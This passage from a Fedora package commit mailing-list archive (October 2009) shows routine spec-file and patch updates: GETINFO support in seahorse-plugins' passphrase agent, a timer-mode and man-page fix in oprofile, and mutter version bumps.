+/boot/initramfs-%{KVERREL}%{?2:.%{2}}.img\
 %else\
-%ghost /boot/initrd-%{KVERREL}%{?2:.%{2}}.img\
+/boot/initrd-%{KVERREL}%{?2:.%{2}}.img\
 %endif\
 %{expand:%%files %{?2:%{2}-}devel}\
 %defattr(-,root,root)\
@@ -2075,9 +2080,7 @@ fi
 
 %changelog
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>
-- Don't touch the initramfs file during %build.
-  It's ghosted because mkinitrd/dracut creates it, so this
-  should be unnecessary.
+- Don't mark the initramfs file as a ghost.
 
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>
 - Enable FUNCTION_GRAPH_TRACER on x86-64.



From mclasen at fedoraproject.org  Thu Oct  8 00:28:56 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 00:28:56 +0000 (UTC)
Subject: rpms/seahorse-plugins/F-12 gnupg-getinfo.patch, NONE,
	1.1 seahorse-plugins.spec, 1.30, 1.31
Message-ID: <20091008002856.EE3BF11C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/seahorse-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9649

Modified Files:
	seahorse-plugins.spec 
Added Files:
	gnupg-getinfo.patch 
Log Message:
implement GETINFO


gnupg-getinfo.patch:
 seahorse-agent-io.c     |   83 +++++++++++++++++++++++++++++++++++++++++++++++-
 seahorse-agent-prompt.c |    9 ++++-
 seahorse-agent.h        |    1 
 3 files changed, 90 insertions(+), 3 deletions(-)

--- NEW FILE gnupg-getinfo.patch ---
diff --git a/agent/seahorse-agent-io.c b/agent/seahorse-agent-io.c
index 11f2a3c..ffb9417 100644
--- a/agent/seahorse-agent-io.c
+++ b/agent/seahorse-agent-io.c
@@ -93,12 +93,14 @@ struct _SeahorseAgentConn {
 #define ASS_OPTION  "OPTION"
 #define ASS_GETPASS "GET_PASSPHRASE"
 #define ASS_CLRPASS "CLEAR_PASSPHRASE"
+#define ASS_GETINFO "GETINFO"
 
 #define ASS_OPT_DISPLAY "display="
 
 /* Options */
 #define ASS_FLAG_DATA   "data"
 #define ASS_FLAG_CHECK  "check"
+#define ASS_FLAG_REPEAT "repeat"
 
 /* Responses */
 #define ASS_OK      "OK "
@@ -269,8 +271,21 @@ static guint32
 parse_assuan_flag (gchar *flag)
 {
     g_assert (flag);
-    if (g_str_equal (flag, "data"))
+    if (g_str_equal (flag, ASS_FLAG_DATA))
         return SEAHORSE_AGENT_PASS_AS_DATA;
+    else if (g_str_has_prefix (flag, ASS_FLAG_REPEAT)) {
+        gint count = 1;
+
+        flag += strlen(ASS_FLAG_REPEAT);
+        if (*flag == '=') {
+            count = atoi (++flag);
+            if (!(count == 0 || count == 1))
+                g_warning ("--repeat=%d treated as --repeat=1", count);
+        }
+
+        if (count)
+            return SEAHORSE_AGENT_REPEAT;
+    }
     return 0;
 }
 
@@ -373,6 +388,68 @@ x11_displays_eq (const gchar *d1, const gchar *d2)
     return (g_ascii_strncasecmp (d1, d2, l1 > l2 ? l1 : l2) == 0);
 }
 
+/* Does command have option? */
+static gboolean
+command_has_option (SeahorseAgentConn *cn, gchar * command, gchar * option)
+{
+    gboolean has_option = FALSE;
+
+    if (!strcmp (command, ASS_GETPASS)) {
+        has_option = (!strcmp (option, ASS_FLAG_DATA) ||
+                      !strcmp (option, ASS_FLAG_REPEAT));
+    }
+    /* else if (other commands) */
+
+    if (has_option)
+        seahorse_agent_io_reply (cn, TRUE, NULL);
+
+    return has_option;
+}
+
+/* Process a GETINFO request */
+static void
+ass_getinfo (SeahorseAgentConn *cn, gchar * request)
+{
+    gchar *args;
+    gboolean implemented = FALSE;
+
+    args = strchr (request, ' ');
+    if (args) {
+        *args = 0;
+        args++;
+        while (isspace (*args))
+            args++;
+    }
+
+    if (!strcmp (request, "cmd_has_option")) {
+        gchar *command = args;
+        gchar *option;
+
+        if (!command || !*command) {
+            seahorse_agent_io_reply (cn, FALSE, "105 parameter error");
+            return;
+        }
+
+        option = strchr(args, ' ');
+
+        if (option) {
+            *option = 0;
+            option++;
+            while (isspace (*option))
+                option++;
+        } else {
+            seahorse_agent_io_reply (cn, FALSE, "105 parameter error");
+            return;
+        }
+
+        implemented = command_has_option(cn, command, option);
+    }
+    /* else if (other info request) */
+
+    if (!implemented)
+        seahorse_agent_io_reply (cn, FALSE, "100 not implemented");
+}
+
 /* Process a request line from client */
 static void
 process_line (SeahorseAgentConn *cn, gchar *string)
@@ -484,6 +561,10 @@ process_line (SeahorseAgentConn *cn, gchar *string)
         seahorse_agent_actions_clrpass (cn, id);
     }
 
+    else if (strcasecmp (string, ASS_GETINFO) == 0) {
+        ass_getinfo (cn, args);
+    }
+
     else if (strcasecmp (string, ASS_NOP) == 0) {
         seahorse_agent_io_reply (cn, TRUE, NULL);
     }
diff --git a/agent/seahorse-agent-prompt.c b/agent/seahorse-agent-prompt.c
index e897464..b69b773 100644
--- a/agent/seahorse-agent-prompt.c
+++ b/agent/seahorse-agent-prompt.c
@@ -155,8 +155,13 @@ seahorse_agent_prompt_pass (SeahorseAgentPassReq *pr)
 
     g_return_if_fail (!seahorse_agent_prompt_have ());
     
-    dialog = seahorse_passphrase_prompt_show (NULL, pr->errmsg ? pr->errmsg : pr->description, 
-                                              pr->prompt, NULL, FALSE);
+    dialog =
+        seahorse_passphrase_prompt_show (NULL,
+                                         (pr->errmsg ?
+                                          pr->errmsg : pr->description),
+                                         pr->prompt, NULL,
+                                         pr->flags & SEAHORSE_AGENT_REPEAT);
+
     g_signal_connect (dialog, "response", G_CALLBACK (passphrase_response), pr);
     g_current_win = GTK_WIDGET (dialog);
 }
diff --git a/agent/seahorse-agent.h b/agent/seahorse-agent.h
index 92267a9..0be3209 100644
--- a/agent/seahorse-agent.h
+++ b/agent/seahorse-agent.h
@@ -81,6 +81,7 @@ void seahorse_agent_io_data (SeahorseAgentConn *cn, const gchar *data);
  */
 
 #define SEAHORSE_AGENT_PASS_AS_DATA    0x00000001
+#define SEAHORSE_AGENT_REPEAT          0x00000002
 
 typedef struct _SeahorseAgentPassReq {
     const gchar *id;


Index: seahorse-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seahorse-plugins/F-12/seahorse-plugins.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- seahorse-plugins.spec	24 Sep 2009 02:24:26 -0000	1.30
+++ seahorse-plugins.spec	8 Oct 2009 00:28:56 -0000	1.31
@@ -1,6 +1,6 @@
 Name: 		seahorse-plugins
 Version: 	2.28.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:	Plugins and utilities for encryption in GNOME
 Group: 		User Interface/Desktops
 License:        GPLv2+ and GFDL
@@ -8,6 +8,9 @@ URL:            http://projects.gnome.or
 Source:         http://download.gnome.org/sources/seahorse-plugins/2.28/%{name}-%{version}.tar.bz2
 Source1:	seahorse-agent.sh
 
+# from upstream: https://bugzilla.gnome.org/show_bug.cgi?id=586855
+Patch0: 	gnupg-getinfo.patch
+
 BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  intltool
@@ -59,6 +62,7 @@ from applications like nautilus or gedit
 
 %prep
 %setup -q
+%patch0 -p1 -b .getinfo
 
 autoreconf -i -f
 
@@ -183,6 +187,9 @@ fi
 #%{_libdir}/epiphany/2.27/extensions/seahorse.ephy-extension
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Implement GETINFO to make seahorse-agent work with gnupg >= 2.0.12
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From wcohen at fedoraproject.org  Thu Oct  8 00:30:36 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Thu,  8 Oct 2009 00:30:36 +0000 (UTC)
Subject: rpms/oprofile/F-12 oprofile-0.9.5-timer.patch, NONE,
	1.1 oprofile.spec, 1.82, 1.83
Message-ID: <20091008003036.A224F11C029A@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11226

Modified Files:
	oprofile.spec 
Added Files:
	oprofile-0.9.5-timer.patch 
Log Message:
* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
- Allow timer mode to work.
- Correct location for addditional files in man pages. Resolves: rhbz #508669



oprofile-0.9.5-timer.patch:
 opcontrol |   10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE oprofile-0.9.5-timer.patch ---
diff -up oprofile-0.9.5/utils/opcontrol.orig oprofile-0.9.5/utils/opcontrol
--- oprofile-0.9.5/utils/opcontrol.orig	2009-07-31 13:10:18.000000000 -0400
+++ oprofile-0.9.5/utils/opcontrol	2009-10-07 20:02:06.000000000 -0400
@@ -586,7 +586,7 @@ verify_counters()
 # setup any needed default value in chosen events
 normalise_events()
 {
-	if test "$NR_CHOSEN" -le 0; then
+	if test "$NR_CHOSEN" -le 0 || test "$IS_TIMER" = 1; then
 		return
 	fi
 
@@ -1449,8 +1449,12 @@ do_start_daemon()
 		--separate-thread=$SEPARATE_THREAD \
 		--separate-cpu=$SEPARATE_CPU"
 
-	if ! test -z "$OPROFILED_EVENTS"; then
-		OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+	if test "$IS_TIMER" = 1; then
+		OPD_ARGS="$OPD_ARGS --events="
+	else
+		if ! test -z "$OPROFILED_EVENTS"; then
+			OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+		fi
 	fi
 
 	if test "$VMLINUX" = "none"; then


Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/F-12/oprofile.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- oprofile.spec	4 Sep 2009 15:31:55 -0000	1.82
+++ oprofile.spec	8 Oct 2009 00:30:36 -0000	1.83
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -13,6 +13,7 @@ Patch10: oprofile-0.4-guess2.patch
 Patch63: oprofile-0.7-libs.patch
 Patch83: oprofile-0.9.3-xen.patch
 #Patch104: oprofile-jvmpi-lgpl.patch
+Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
@@ -81,6 +82,7 @@ agent library.
 %patch63 -p1 -b .libs
 #%patch83 -p1 -b .xen
 #%patch104 -p1 -b .lgpl
+%patch105 -p1 -b .timer
 
 ./autogen.sh
 
@@ -115,6 +117,11 @@ CXXFLAGS=-g;     export CXXFLAGS
 
 make CFLAGS="$RPM_OPT_FLAGS"
 
+#tweak the manual pages
+find -path "*/doc/*.1" -exec \
+    sed -i -e \
+     's,/doc/oprofile/,/doc/oprofile-%{version}/,g' {} \;
+
 %install
 rm -rf ${RPM_BUILD_ROOT}
 
@@ -223,6 +230,10 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
+- Allow timer mode to work.
+- Correct location for addditional files in man pages. Resolves: rhbz #508669
+
 * Fri Sep 4 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-2
 - Bump version and rebuild.
 



From wcohen at fedoraproject.org  Thu Oct  8 00:34:52 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Thu,  8 Oct 2009 00:34:52 +0000 (UTC)
Subject: rpms/oprofile/F-11 oprofile-0.9.5-timer.patch, NONE,
	1.1 oprofile.spec, 1.81, 1.82
Message-ID: <20091008003452.8AEB111C00E6@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12404

Modified Files:
	oprofile.spec 
Added Files:
	oprofile-0.9.5-timer.patch 
Log Message:
* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
- Allow timer mode to work.
- Correct location for addditional files in man pages. Resolves: rhbz #508669



oprofile-0.9.5-timer.patch:
 opcontrol |   10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE oprofile-0.9.5-timer.patch ---
diff -up oprofile-0.9.5/utils/opcontrol.orig oprofile-0.9.5/utils/opcontrol
--- oprofile-0.9.5/utils/opcontrol.orig	2009-07-31 13:10:18.000000000 -0400
+++ oprofile-0.9.5/utils/opcontrol	2009-10-07 20:02:06.000000000 -0400
@@ -586,7 +586,7 @@ verify_counters()
 # setup any needed default value in chosen events
 normalise_events()
 {
-	if test "$NR_CHOSEN" -le 0; then
+	if test "$NR_CHOSEN" -le 0 || test "$IS_TIMER" = 1; then
 		return
 	fi
 
@@ -1449,8 +1449,12 @@ do_start_daemon()
 		--separate-thread=$SEPARATE_THREAD \
 		--separate-cpu=$SEPARATE_CPU"
 
-	if ! test -z "$OPROFILED_EVENTS"; then
-		OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+	if test "$IS_TIMER" = 1; then
+		OPD_ARGS="$OPD_ARGS --events="
+	else
+		if ! test -z "$OPROFILED_EVENTS"; then
+			OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+		fi
 	fi
 
 	if test "$VMLINUX" = "none"; then


Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/F-11/oprofile.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- oprofile.spec	4 Sep 2009 15:29:05 -0000	1.81
+++ oprofile.spec	8 Oct 2009 00:34:51 -0000	1.82
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -13,6 +13,7 @@ Patch10: oprofile-0.4-guess2.patch
 Patch63: oprofile-0.7-libs.patch
 Patch83: oprofile-0.9.3-xen.patch
 #Patch104: oprofile-jvmpi-lgpl.patch
+Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
@@ -81,6 +82,7 @@ agent library.
 %patch63 -p1 -b .libs
 #%patch83 -p1 -b .xen
 #%patch104 -p1 -b .lgpl
+%patch105 -p1 -b .timer
 
 ./autogen.sh
 
@@ -115,6 +117,11 @@ CXXFLAGS=-g;     export CXXFLAGS
 
 make CFLAGS="$RPM_OPT_FLAGS"
 
+#tweak the manual pages
+find -path "*/doc/*.1" -exec \
+    sed -i -e \
+     's,/doc/oprofile/,/doc/oprofile-%{version}/,g' {} \;
+
 %install
 rm -rf ${RPM_BUILD_ROOT}
 
@@ -223,6 +230,10 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
+- Allow timer mode to work.
+- Correct location for addditional files in man pages. Resolves: rhbz #508669
+
 * Fri Sep 4 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-2
 - Bump version and rebuild.
 



From wcohen at fedoraproject.org  Thu Oct  8 00:57:52 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Thu,  8 Oct 2009 00:57:52 +0000 (UTC)
Subject: rpms/oprofile/F-10 oprofile-0.9.5-timer.patch, NONE,
	1.1 oprofile.spec, 1.77, 1.78
Message-ID: <20091008005752.E5F9D11C00E6@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20242

Modified Files:
	oprofile.spec 
Added Files:
	oprofile-0.9.5-timer.patch 
Log Message:
* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
- Allow timer mode to work.
- Correct location for addditional files in man pages. Resolves: rhbz #508669



oprofile-0.9.5-timer.patch:
 opcontrol |   10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE oprofile-0.9.5-timer.patch ---
diff -up oprofile-0.9.5/utils/opcontrol.orig oprofile-0.9.5/utils/opcontrol
--- oprofile-0.9.5/utils/opcontrol.orig	2009-07-31 13:10:18.000000000 -0400
+++ oprofile-0.9.5/utils/opcontrol	2009-10-07 20:02:06.000000000 -0400
@@ -586,7 +586,7 @@ verify_counters()
 # setup any needed default value in chosen events
 normalise_events()
 {
-	if test "$NR_CHOSEN" -le 0; then
+	if test "$NR_CHOSEN" -le 0 || test "$IS_TIMER" = 1; then
 		return
 	fi
 
@@ -1449,8 +1449,12 @@ do_start_daemon()
 		--separate-thread=$SEPARATE_THREAD \
 		--separate-cpu=$SEPARATE_CPU"
 
-	if ! test -z "$OPROFILED_EVENTS"; then
-		OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+	if test "$IS_TIMER" = 1; then
+		OPD_ARGS="$OPD_ARGS --events="
+	else
+		if ! test -z "$OPROFILED_EVENTS"; then
+			OPD_ARGS="$OPD_ARGS --events=$OPROFILED_EVENTS"
+		fi
 	fi
 
 	if test "$VMLINUX" = "none"; then


Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/F-10/oprofile.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- oprofile.spec	4 Sep 2009 15:40:32 -0000	1.77
+++ oprofile.spec	8 Oct 2009 00:57:49 -0000	1.78
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -13,6 +13,7 @@ Patch10: oprofile-0.4-guess2.patch
 Patch63: oprofile-0.7-libs.patch
 Patch83: oprofile-0.9.3-xen.patch
 #Patch104: oprofile-jvmpi-lgpl.patch
+Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
@@ -81,6 +82,7 @@ agent library.
 %patch63 -p1 -b .libs
 #%patch83 -p1 -b .xen
 #%patch104 -p1 -b .lgpl
+%patch105 -p1 -b .timer
 
 ./autogen.sh
 
@@ -115,6 +117,11 @@ CXXFLAGS=-g;     export CXXFLAGS
 
 make CFLAGS="$RPM_OPT_FLAGS"
 
+#tweak the manual pages
+find -path "*/doc/*.1" -exec \
+    sed -i -e \
+     's,/doc/oprofile/,/doc/oprofile-%{version}/,g' {} \;
+
 %install
 rm -rf ${RPM_BUILD_ROOT}
 
@@ -223,6 +230,10 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
+- Allow timer mode to work.
+- Correct location for addditional files in man pages. Resolves: rhbz #508669
+
 * Fri Sep 4 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-2
 - Bump version and rebuild.
 



From mclasen at fedoraproject.org  Thu Oct  8 00:59:30 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 00:59:30 +0000 (UTC)
Subject: rpms/seahorse-plugins/F-11 seahorse-plugins.spec,1.31,1.32
Message-ID: <20091008005930.588A011C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/seahorse-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22088

Modified Files:
	seahorse-plugins.spec 
Log Message:
Implement GETINFO



Index: seahorse-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seahorse-plugins/F-11/seahorse-plugins.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- seahorse-plugins.spec	9 Sep 2009 14:21:02 -0000	1.31
+++ seahorse-plugins.spec	8 Oct 2009 00:59:30 -0000	1.32
@@ -1,6 +1,6 @@
 Name: 		seahorse-plugins
 Version: 	2.26.2
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:	Plugins and utilities for encryption in GNOME
 Group: 		User Interface/Desktops
 License:        GPLv2+ and GFDL
@@ -8,6 +8,9 @@ URL:            http://projects.gnome.or
 Source:         http://download.gnome.org/sources/seahorse-plugins/2.26/%{name}-%{version}.tar.bz2
 Source1:	seahorse-agent.sh
 
+# from upstream: https://bugzilla.gnome.org/show_bug.cgi?id=586855
+Patch0:		gnupg-getinfo.patch
+
 BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  intltool
@@ -60,6 +63,7 @@ from applications like nautilus or gedit
 
 %prep
 %setup -q
+%patch0 -p1 -b .gnupg-getinfo
 
 autoreconf -i -f
 
@@ -173,6 +177,9 @@ fi
 
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 2.26.2-6
+- Implement GETINFO to make seahorse-agent work with gnupg >= 2.0.12
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.26.2-5
 - Rebuild against newer gecko
 



From otaylor at fedoraproject.org  Thu Oct  8 01:01:18 2009
From: otaylor at fedoraproject.org (Owen Taylor)
Date: Thu,  8 Oct 2009 01:01:18 +0000 (UTC)
Subject: rpms/mutter/devel .cvsignore, 1.6, 1.7 mutter.spec, 1.11,
	1.12 sources, 1.6, 1.7
Message-ID: <20091008010118.7805E11C00E6@cvs1.fedora.phx.redhat.com>

Author: otaylor

Update of /cvs/extras/rpms/mutter/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23055

Modified Files:
	.cvsignore mutter.spec sources 
Log Message:
* Wed Oct  7 2009 Owen Taylor <otaylor at redhat.com> - 2.28.0-1
- Update to 2.28.0



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mutter/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	15 Sep 2009 21:44:53 -0000	1.6
+++ .cvsignore	8 Oct 2009 01:01:18 -0000	1.7
@@ -3,3 +3,4 @@ mutter-2.27.2.tar.bz2
 mutter-2.27.3.tar.bz2
 mutter-2.27.4.tar.bz2
 mutter-2.27.5.tar.bz2
+mutter-2.28.0.tar.bz2


Index: mutter.spec
===================================================================
RCS file: /cvs/extras/rpms/mutter/devel/mutter.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- mutter.spec	15 Sep 2009 21:44:53 -0000	1.11
+++ mutter.spec	8 Oct 2009 01:01:18 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           mutter
-Version:        2.27.5
+Version:        2.28.0
 Release:        1%{?dist}
 Summary:        Window and compositing manager based on Clutter
 
@@ -147,6 +147,9 @@ gconftool-2 --makefile-install-rule \
 %doc %{_mandir}/man1/mutter-window-demo.1.gz
 
 %changelog
+* Wed Oct  7 2009 Owen Taylor <otaylor at redhat.com> - 2.28.0-1
+- Update to 2.28.0
+
 * Tue Sep 15 2009 Owen Taylor <otaylor at redhat.com> - 2.27.5-1
 - Update to 2.27.5
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mutter/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	15 Sep 2009 21:44:53 -0000	1.6
+++ sources	8 Oct 2009 01:01:18 -0000	1.7
@@ -1 +1 @@
-1ec88207ff366c09b8c590775d28ac3b  mutter-2.27.5.tar.bz2
+3926895782024cff7af7ca480df46b4f  mutter-2.28.0.tar.bz2



From mclasen at fedoraproject.org  Thu Oct  8 01:09:22 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 01:09:22 +0000 (UTC)
Subject: rpms/seahorse-plugins/F-11 gnupg-getinfo.patch,NONE,1.1
Message-ID: <20091008010922.EB86F11C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/seahorse-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23641

Added Files:
	gnupg-getinfo.patch 
Log Message:
add patch


gnupg-getinfo.patch:
 seahorse-agent-io.c     |   83 +++++++++++++++++++++++++++++++++++++++++++++++-
 seahorse-agent-prompt.c |    9 ++++-
 seahorse-agent.h        |    1 
 3 files changed, 90 insertions(+), 3 deletions(-)

--- NEW FILE gnupg-getinfo.patch ---
diff --git a/agent/seahorse-agent-io.c b/agent/seahorse-agent-io.c
index 11f2a3c..ffb9417 100644
--- a/agent/seahorse-agent-io.c
+++ b/agent/seahorse-agent-io.c
@@ -93,12 +93,14 @@ struct _SeahorseAgentConn {
 #define ASS_OPTION  "OPTION"
 #define ASS_GETPASS "GET_PASSPHRASE"
 #define ASS_CLRPASS "CLEAR_PASSPHRASE"
+#define ASS_GETINFO "GETINFO"
 
 #define ASS_OPT_DISPLAY "display="
 
 /* Options */
 #define ASS_FLAG_DATA   "data"
 #define ASS_FLAG_CHECK  "check"
+#define ASS_FLAG_REPEAT "repeat"
 
 /* Responses */
 #define ASS_OK      "OK "
@@ -269,8 +271,21 @@ static guint32
 parse_assuan_flag (gchar *flag)
 {
     g_assert (flag);
-    if (g_str_equal (flag, "data"))
+    if (g_str_equal (flag, ASS_FLAG_DATA))
         return SEAHORSE_AGENT_PASS_AS_DATA;
+    else if (g_str_has_prefix (flag, ASS_FLAG_REPEAT)) {
+        gint count = 1;
+
+        flag += strlen(ASS_FLAG_REPEAT);
+        if (*flag == '=') {
+            count = atoi (++flag);
+            if (!(count == 0 || count == 1))
+                g_warning ("--repeat=%d treated as --repeat=1", count);
+        }
+
+        if (count)
+            return SEAHORSE_AGENT_REPEAT;
+    }
     return 0;
 }
 
@@ -373,6 +388,68 @@ x11_displays_eq (const gchar *d1, const gchar *d2)
     return (g_ascii_strncasecmp (d1, d2, l1 > l2 ? l1 : l2) == 0);
 }
 
+/* Does command have option? */
+static gboolean
+command_has_option (SeahorseAgentConn *cn, gchar * command, gchar * option)
+{
+    gboolean has_option = FALSE;
+
+    if (!strcmp (command, ASS_GETPASS)) {
+        has_option = (!strcmp (option, ASS_FLAG_DATA) ||
+                      !strcmp (option, ASS_FLAG_REPEAT));
+    }
+    /* else if (other commands) */
+
+    if (has_option)
+        seahorse_agent_io_reply (cn, TRUE, NULL);
+
+    return has_option;
+}
+
+/* Process a GETINFO request */
+static void
+ass_getinfo (SeahorseAgentConn *cn, gchar * request)
+{
+    gchar *args;
+    gboolean implemented = FALSE;
+
+    args = strchr (request, ' ');
+    if (args) {
+        *args = 0;
+        args++;
+        while (isspace (*args))
+            args++;
+    }
+
+    if (!strcmp (request, "cmd_has_option")) {
+        gchar *command = args;
+        gchar *option;
+
+        if (!command || !*command) {
+            seahorse_agent_io_reply (cn, FALSE, "105 parameter error");
+            return;
+        }
+
+        option = strchr(args, ' ');
+
+        if (option) {
+            *option = 0;
+            option++;
+            while (isspace (*option))
+                option++;
+        } else {
+            seahorse_agent_io_reply (cn, FALSE, "105 parameter error");
+            return;
+        }
+
+        implemented = command_has_option(cn, command, option);
+    }
+    /* else if (other info request) */
+
+    if (!implemented)
+        seahorse_agent_io_reply (cn, FALSE, "100 not implemented");
+}
+
 /* Process a request line from client */
 static void
 process_line (SeahorseAgentConn *cn, gchar *string)
@@ -484,6 +561,10 @@ process_line (SeahorseAgentConn *cn, gchar *string)
         seahorse_agent_actions_clrpass (cn, id);
     }
 
+    else if (strcasecmp (string, ASS_GETINFO) == 0) {
+        ass_getinfo (cn, args);
+    }
+
     else if (strcasecmp (string, ASS_NOP) == 0) {
         seahorse_agent_io_reply (cn, TRUE, NULL);
     }
diff --git a/agent/seahorse-agent-prompt.c b/agent/seahorse-agent-prompt.c
index e897464..b69b773 100644
--- a/agent/seahorse-agent-prompt.c
+++ b/agent/seahorse-agent-prompt.c
@@ -155,8 +155,13 @@ seahorse_agent_prompt_pass (SeahorseAgentPassReq *pr)
 
     g_return_if_fail (!seahorse_agent_prompt_have ());
     
-    dialog = seahorse_passphrase_prompt_show (NULL, pr->errmsg ? pr->errmsg : pr->description, 
-                                              pr->prompt, NULL, FALSE);
+    dialog =
+        seahorse_passphrase_prompt_show (NULL,
+                                         (pr->errmsg ?
+                                          pr->errmsg : pr->description),
+                                         pr->prompt, NULL,
+                                         pr->flags & SEAHORSE_AGENT_REPEAT);
+
     g_signal_connect (dialog, "response", G_CALLBACK (passphrase_response), pr);
     g_current_win = GTK_WIDGET (dialog);
 }
diff --git a/agent/seahorse-agent.h b/agent/seahorse-agent.h
index 92267a9..0be3209 100644
--- a/agent/seahorse-agent.h
+++ b/agent/seahorse-agent.h
@@ -81,6 +81,7 @@ void seahorse_agent_io_data (SeahorseAgentConn *cn, const gchar *data);
  */
 
 #define SEAHORSE_AGENT_PASS_AS_DATA    0x00000001
+#define SEAHORSE_AGENT_REPEAT          0x00000002
 
 typedef struct _SeahorseAgentPassReq {
     const gchar *id;



From otaylor at fedoraproject.org  Thu Oct  8 01:18:26 2009
From: otaylor at fedoraproject.org (Owen Taylor)
Date: Thu,  8 Oct 2009 01:18:26 +0000 (UTC)
Subject: rpms/mutter/F-12 mutter.spec,1.11,1.12 sources,1.6,1.7
Message-ID: <20091008011826.8722111C00E6@cvs1.fedora.phx.redhat.com>

Author: otaylor

Update of /cvs/extras/rpms/mutter/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29859

Modified Files:
	mutter.spec sources 
Log Message:
Update to 2.28.0


Index: mutter.spec
===================================================================
RCS file: /cvs/extras/rpms/mutter/F-12/mutter.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
